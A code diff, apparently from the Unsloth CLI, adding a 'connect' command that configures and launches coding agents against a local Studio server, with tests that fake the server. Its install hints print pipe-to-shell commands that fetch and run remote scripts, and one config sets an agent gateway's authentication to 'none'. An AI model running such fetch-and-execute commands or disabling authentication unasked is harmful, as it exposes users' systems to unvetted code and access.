+    unset_env: tuple = (),
+    wsl_env_bridge: tuple = (),
+) -> None:
+    if os.name == "nt":
+        for name in unset_env:
+            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
+        for name, value in env.items():
+            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
+            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
+            typer.echo(f'$env:{name} = "{escaped}"')
+        typer.echo(subprocess.list2cmdline(command))
+        return
+    for name in unset_env:
+        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
+    for name, value in env.items():
+        typer.echo(f"export {name}={shlex.quote(value)}")
+    if wsl_env_bridge:
+        typer.echo(
+            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    typer.echo(shlex.join(command))
+
+
+def _launch(
+    command: list,
+    env: dict,
+    install_hint: str,
+    unset_env: tuple = (),
+) -> NoReturn:
+    executable = shutil.which(command[0])
+    if executable is None:
+        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
+    wsl_env_bridge = (
+        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
+    )
+    child_env = dict(os.environ)
+    if wsl_env_bridge:
+        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
+        for name in unset_env:
+            child_env[name] = ""
+    else:
+        for name in unset_env:
+            child_env.pop(name, None)
+    child_env.update(env)
+    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
+    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
+    try:
+        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
+    finally:
+        signal.signal(signal.SIGINT, previous)
+    # Negative returncode means killed by signal N; shells expect 128+N.
+    raise typer.Exit(code = code if code >= 0 else 128 - code)
+
+
+def _connect(api_key: Optional[str], model: Optional[str]) -> tuple:
+    base = _require_studio()
+    key = _agent_api_key(base, api_key)
+    return base, key, _resolve_model(base, key, model)
+
+
+def _run(
+    base: str,
+    entry: dict,
+    env: dict,
+    command: list,
+    *,
+    launch: bool,
+    install_hint: str,
+    unset_env: tuple = (),
+) -> None:
+    typer.echo(f"Studio {base} · model {entry['id']}")
+    wsl_env_bridge = (
+        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
+    )
+    if not launch:
+        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
+        return
+    _launch(command, env, install_hint = install_hint, unset_env = unset_env)
+
+
+def openclaw_config_path() -> Path:
+    return Path.home() / ".openclaw" / "openclaw.json"
+
+
+def write_openclaw_config(base: str, key: str, model: dict) -> None:
+    path = openclaw_config_path()
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
+    provider_model = {"id": model["id"], "name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        provider_model["contextWindow"] = int(window)
+    models = _subdict(config, "models")
+    models.setdefault("mode", "merge")
+    _subdict(models, "providers")["unsloth"] = {
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "api": "openai-completions",
+        "models": [provider_model],
+    }
+    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
+    defaults = _subdict(_subdict(config, "agents"), "defaults")
+    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
+    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
+    # the websocket. The daemon must still be started separately (`openclaw gateway`).
+    gateway = _subdict(config, "gateway")
+    gateway.setdefault("mode", "local")
+    _subdict(gateway, "auth").setdefault("mode", "none")
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def opencode_config_path() -> Path:
+    config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config"
+    return Path(config_home) / "opencode" / "opencode.json"
+
+
+def write_opencode_config(base: str, key: str, model: dict) -> None:
+    path = opencode_config_path()
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    config.setdefault("$schema", "https://opencode.ai/config.json")
+    _subdict(config, "provider")["unsloth"] = {
+        "npm": "@ai-sdk/openai-compatible",
+        "name": "Unsloth Studio",
+        "options": {"baseURL": f"{base}/v1", "apiKey": key},
+        "models": {model["id"]: {"name": model["id"]}},
+    }
+    # OpenCode selects a model by "<providerID>/<modelID>".
+    config["model"] = f"unsloth/{model['id']}"
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def hermes_config_path() -> Path:
+    return Path.home() / ".hermes" / "config.yaml"
+
+
+def write_hermes_config(base: str, model: dict) -> None:
+    import yaml
+
+    path = hermes_config_path()
+    config: dict = {}
+    if path.exists():
+        try:
+            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
+        except (yaml.YAMLError, OSError):
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+        if isinstance(loaded, dict):
+            config = loaded
+        elif loaded is not None:
+            # Non-empty, non-mapping YAML is a user-managed file; leave it.
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+    # Hermes only reads the key for a *named* custom provider (a bare
+    # `provider: custom` ignores it), so register it under providers.*.
+    _subdict(config, "model").update(
+        provider = f"custom:{_HERMES_PROVIDER}",
+        default = model["id"],
+        api_mode = "openai",
+    )
+    _subdict(config, "providers")[_HERMES_PROVIDER] = {
+        "base_url": f"{base}/v1",
+        "api_mode": "openai",
+        "key_env": _HERMES_ENV_KEY,
+    }
+    text = yaml.safe_dump(config, sort_keys = False)
+    if not path.exists() or path.read_text(encoding = "utf-8") != text:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(text, encoding = "utf-8")
+        typer.echo(f"Updated {path}")
+
+
+@connect_app.command("claude", context_settings = _PASSTHROUGH)
+def claude(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+):
+    """Point Claude Code at the running Studio server and start it."""
+    base, key, entry = _connect(api_key, model)
+    model_id = entry["id"]
+    ensure_claude_attribution_header()
+
+    env = {
+        "ANTHROPIC_BASE_URL": base,
+        "ANTHROPIC_AUTH_TOKEN": key,
+        "ANTHROPIC_MODEL": model_id,
+        # Update checks, beta features, and other background requests either
+        # stall against a local server or evict the conversation from
+        # llama-server's KV-cache slots, so turn off everything nonessential.
+        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
+        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
+    }
+    command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args]
+    install_hint = (
+        "irm https://claude.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://claude.ai/install.sh | bash"
+    )
+    _run(
+        base,
+        entry,
+        env,
+        command,
+        launch = launch,
+        install_hint = install_hint,
+        unset_env = _CLAUDE_ENV_UNSET,
+    )
+
+
+@connect_app.command("codex", context_settings = _PASSTHROUGH)
+def codex(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+):
+    """Point OpenAI Codex at the running Studio server and start it."""
+    base, key, entry = _connect(api_key, model)
+    _require_gguf_for_codex(base, key, entry["id"])
+    write_codex_config(base, entry)
+
+    env = {_CODEX_ENV_KEY: key}
+    command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args]
+    _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
+
+
+@connect_app.command("openclaw", context_settings = _PASSTHROUGH)
+def openclaw(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+):
+    """Point OpenClaw at the running Studio server and start it."""
+    base, key, entry = _connect(api_key, model)
+    write_openclaw_config(base, key, entry)  # key lives in the config, not the env
+
+    command = ["openclaw", *ctx.args]
+    install_hint = (
+        "iwr -useb https://openclaw.ai/install.ps1 | iex"
+        if os.name == "nt"
+        else "curl -fsSL https://openclaw.ai/install.sh | bash"
+    )
+    _run(base, entry, {}, command, launch = launch, install_hint = install_hint)
+
+
+@connect_app.command("opencode", context_settings = _PASSTHROUGH)
+def opencode(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+):
+    """Point OpenCode at the running Studio server and start it."""
+    base, key, entry = _connect(api_key, model)
+    write_opencode_config(base, key, entry)  # key lives in the config, not the env
+
+    command = ["opencode", *ctx.args]
+    _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai")
+
+
+@connect_app.command("hermes", context_settings = _PASSTHROUGH)
+def hermes(
+    ctx: typer.Context,
+    model: Optional[str] = _MODEL_OPTION,
+    api_key: Optional[str] = _KEY_OPTION,
+    launch: bool = _LAUNCH_OPTION,
+):
+    """Point Hermes (Nous Research) at the running Studio server and start it."""
+    base, key, entry = _connect(api_key, model)
+    write_hermes_config(base, entry)
+
+    env = {_HERMES_ENV_KEY: key}
+    command = ["hermes", *ctx.args]
+    install_hint = (
+        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+        "/main/scripts/install.sh | bash"
+    )
+    _run(base, entry, env, command, launch = launch, install_hint = install_hint)
diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py
new file mode 100644
index 0000000000..06806c8fd7
--- /dev/null
+++ b/unsloth_cli/tests/test_connect.py
@@ -0,0 +1,679 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `unsloth connect` — config merging and launch env, no network."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+import urllib.error
+from pathlib import Path
+from types import SimpleNamespace
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+import pytest
+from typer.testing import CliRunner
+
+import unsloth_cli.commands.connect as connect
+
+BASE = "http://127.0.0.1:8888"
+MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
+
+
+@pytest.fixture()
+def claude_settings(tmp_path, monkeypatch):
+    path = tmp_path / "claude" / "settings.json"
+    monkeypatch.setattr(connect, "claude_settings_path", lambda: path)
+    return path
+
+
+def test_claude_settings_created_when_missing(claude_settings):
+    connect.ensure_claude_attribution_header()
+    settings = json.loads(claude_settings.read_text())
+    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+def test_claude_settings_merge_preserves_existing(claude_settings):
+    claude_settings.parent.mkdir(parents = True)
+    claude_settings.write_text(
+        json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}})
+    )
+    connect.ensure_claude_attribution_header()
+    settings = json.loads(claude_settings.read_text())
+    assert settings["effortLevel"] == "high"
+    assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0"
+    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+def test_claude_settings_already_set_untouched(claude_settings):
+    claude_settings.parent.mkdir(parents = True)
+    original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}})
+    claude_settings.write_text(original)
+    connect.ensure_claude_attribution_header()
+    assert claude_settings.read_text() == original
+
+
+def test_claude_settings_bad_json_left_alone(claude_settings, capsys):
+    claude_settings.parent.mkdir(parents = True)
+    claude_settings.write_text("{not json")
+    connect.ensure_claude_attribution_header()
+    assert claude_settings.read_text() == "{not json"
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def _fake_claude(monkeypatch, version_output: str) -> None:
+    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(
+        connect.subprocess,
+        "run",
+        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
+    )
+
+
+def test_cache_flags_passed_to_supported_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
+    assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"]
+
+
+def test_cache_flags_skipped_on_old_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
+    assert connect._claude_cache_flags() == []
+
+
+def test_cache_flags_skipped_on_unparseable_version(monkeypatch):
+    _fake_claude(monkeypatch, "weird build string\n")
+    assert connect._claude_cache_flags() == []
+
+
+def _parse_toml(text: str) -> dict:
+    tomllib = pytest.importorskip("tomllib")
+    return tomllib.loads(text)
+
+
+def test_merge_codex_config_fresh():
+    merged = connect._merge_codex_config("", BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["oss_provider"] == "unsloth_api"
+    provider = parsed["model_providers"]["unsloth_api"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["wire_api"] == "responses"
+    assert provider["requires_openai_auth"] is False
+
+
+def test_merge_codex_config_replaces_stale_block():
+    existing = (
+        'model = "gpt-5"\n'
+        "\n"
+        "[model_providers.unsloth_api]\n"
+        'base_url = "http://old-host:9999/v1"\n'
+        'wire_api = "chat"\n'
+        "\n"
+        "[model_providers.unsloth_api.http_headers]\n"
+        'x-old = "1"\n'
+        "\n"
+        "[model_providers.ollama]\n"
+        'base_url = "http://localhost:11434/v1"\n'
+    )
+    merged = connect._merge_codex_config(existing, BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["model"] == "gpt-5"
+    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
+    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
+    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
+    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
+    assert connect._merge_codex_config(merged, BASE) == merged
+
+
+def test_merge_codex_config_keeps_user_oss_provider():
+    merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE)
+    assert _parse_toml(merged)["oss_provider"] == "ollama"
+
+
+def test_write_codex_config_profile(tmp_path, monkeypatch):
+    monkeypatch.setenv("CODEX_HOME", str(tmp_path))
+    connect.write_codex_config(BASE, MODEL)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert profile["oss_provider"] == "unsloth_api"
+    assert profile["model_provider"] == "unsloth_api"
+    assert profile["model"] == MODEL["id"]
+    assert profile["model_context_window"] == 131072
+    config = _parse_toml((tmp_path / "config.toml").read_text())
+    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
+
+
+@pytest.fixture()
+def fake_studio(tmp_path, monkeypatch, claude_settings):
+    calls = []
+    state = {"models": [MODEL]}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": state["models"]}
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
+        if url.endswith("/api/auth/api-keys"):
+            return {"key": "sk-unsloth-feedfacefeedface"}
+        if url.endswith("/api/inference/load"):
+            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
+            return {}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(connect, "find_studio_server", lambda: BASE)
+    monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token")
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
+    # No `claude` on PATH, so _claude_cache_flags never probes the real binary.
+    monkeypatch.setattr(connect.shutil, "which", lambda _: None)
+    monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex"))
+    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
+    return calls
+
+
+def test_connect_claude_no_launch(fake_studio, claude_settings):
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "unset ANTHROPIC_API_KEY" in result.output
+    assert "unset CLAUDE_CODE_OAUTH_TOKEN" in result.output
+    assert f"export ANTHROPIC_BASE_URL={BASE}" in result.output
+    assert "export ANTHROPIC_AUTH_TOKEN=sk-unsloth-feedfacefeedface" in result.output
+    assert f"export ANTHROPIC_MODEL={MODEL['id']}" in result.output
+    assert "export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1" in result.output
+    assert "export CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1" in result.output
+    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
+    settings = json.loads(claude_settings.read_text())
+    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
+
+
+def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(connect.subprocess, "run", run)
+    result = CliRunner().invoke(connect.connect_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
+    assert "ANTHROPIC_API_KEY" not in captured["env"]
+    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+
+
+def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
+    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
+    monkeypatch.setattr(
+        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
+
+    def run(command, env):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(connect.subprocess, "run", run)
+    result = CliRunner().invoke(connect.connect_app, ["claude"])
+
+    assert result.exit_code == 0, result.output
+    assert captured["command"] == [
+        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
+        "--model",
+        MODEL["id"],
+    ]
+    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
+    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
+    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
+    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
+    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
+    for name in (
+        "ANTHROPIC_AUTH_TOKEN",
+        "ANTHROPIC_BASE_URL",
+        "ANTHROPIC_MODEL",
+        "ANTHROPIC_API_KEY",
+        "CLAUDE_CODE_OAUTH_TOKEN",
+    ):
+        assert name in captured["env"]["WSLENV"].split(":")
+
+
+def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
+    )
+
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_API_KEY=" in result.output
+    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
+    assert "export WSLENV=" in result.output
+    assert "ANTHROPIC_AUTH_TOKEN" in result.output
+    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
+
+
+def test_connect_codex_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "export UNSLOTH_STUDIO_AUTH_TOKEN=sk-unsloth-feedfacefeedface" in result.output
+    assert "codex --oss --profile unsloth_api" in result.output
+    assert (tmp_path / "codex" / "config.toml").exists()
+    assert (tmp_path / "codex" / "unsloth_api.config.toml").exists()
+
+
+def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
+    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert len(mints) == 1
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["keys"] == ["sk-unsloth-feedfacefeedface"]
+
+
+def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
+    CliRunner().invoke(
+        connect.connect_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_AUTH_TOKEN=sk-unsloth-deadbeefdeadbeef" in result.output
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+
+
+def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"keys": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}))
+    inner = connect._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_AUTH_TOKEN=sk-unsloth-feedfacefeedface" in result.output
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+    # The working key moves to the front so the next run tries it first.
+    cached = json.loads(cache.read_text())
+    assert cached["keys"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
+
+
+def test_connect_reads_legacy_single_key_cache(fake_studio, tmp_path):
+    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_AUTH_TOKEN=sk-unsloth-oldformat" in result.output
+    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
+    assert mints == []
+
+
+def test_connect_model_flag_loads_on_server(fake_studio):
+    result = CliRunner().invoke(
+        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
+    )
+    assert result.exit_code == 0, result.output
+    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
+    assert loads == [
+        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
+    ]
+    assert "export ANTHROPIC_MODEL=unsloth/Qwen3.5-35B-A3B" in result.output
+
+
+def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
+    # Studio registers a loaded model under a canonical id (resolved identifier
+    # / casing) that can differ from the path we passed. The agent must connect
+    # to that model, not silently fall through to the first loaded one.
+    requested = "Unsloth/Qwen3.5-35B-A3B"
+    canonical = "unsloth/Qwen3.5-35B-A3B"
+    inner = connect._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {"model": canonical, "display_name": canonical}
+        if url.endswith("/v1/models"):
+            # Decoy sorts first, so models[0] is the wrong pick on the old code.
+            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    result = CliRunner().invoke(
+        connect.connect_app, ["claude", "--no-launch", "--model", requested]
+    )
+    assert result.exit_code == 0, result.output
+    assert f"export ANTHROPIC_MODEL={canonical}" in result.output
+
+
+def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(
+        connect,
+        "_http_json",
+        lambda method, url, token, payload = None, timeout = 30, error = None: (
+            {"key": "sk-unsloth-feedfacefeedface"}
+            if url.endswith("/api/auth/api-keys")
+            else {"object": "list", "data": []}
+        ),
+    )
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No model is loaded" in result.output
+
+
+def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
+    # Studio never surfaces the requested model; fail loudly rather than
+    # silently connecting to whatever else happens to be loaded.
+    inner = connect._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/load"):
+            return {}
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    result = CliRunner().invoke(
+        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
+    )
+    assert result.exit_code == 1
+    assert "unsloth/Missing-7B" in result.output
+
+
+def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
+    inner = connect._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
+    assert result.exit_code == 1
+    assert "GGUF" in result.output
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+
+
+def test_connect_remote_token_rejected_points_at_api_key(fake_studio, monkeypatch):
+    # A self-issued token is invalid against a remote Studio (different secret);
+    # the auto-mint 401 should become actionable --api-key guidance.
+    inner = connect._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/auth/api-keys"):
+            raise urllib.error.HTTPError(url, 401, "Invalid or expired token", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(connect, "_http_json", http_json)
+    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 1
+    assert "Settings → API" in result.output
+    assert "--api-key" in result.output
+
+
+def test_connect_no_studio_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(connect, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+
+
+def test_connect_explicit_api_key_skips_mint(fake_studio):
+    result = CliRunner().invoke(
+        connect.connect_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    assert "export ANTHROPIC_AUTH_TOKEN=sk-unsloth-deadbeefdeadbeef" in result.output
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
+
+
+# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
+
+
+def test_write_openclaw_config_fresh(tmp_path, monkeypatch):
+    path = tmp_path / "openclaw.json"
+    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
+    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
+    config = json.loads(path.read_text())
+    provider = config["models"]["providers"]["unsloth"]
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    assert provider["api"] == "openai-completions"
+    assert provider["models"] == [
+        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
+    ]
+    # The default model must be pinned or OpenClaw has nothing active.
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["gateway"]["mode"] == "local"
+    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
+    if os.name != "nt":  # the file holds an API key
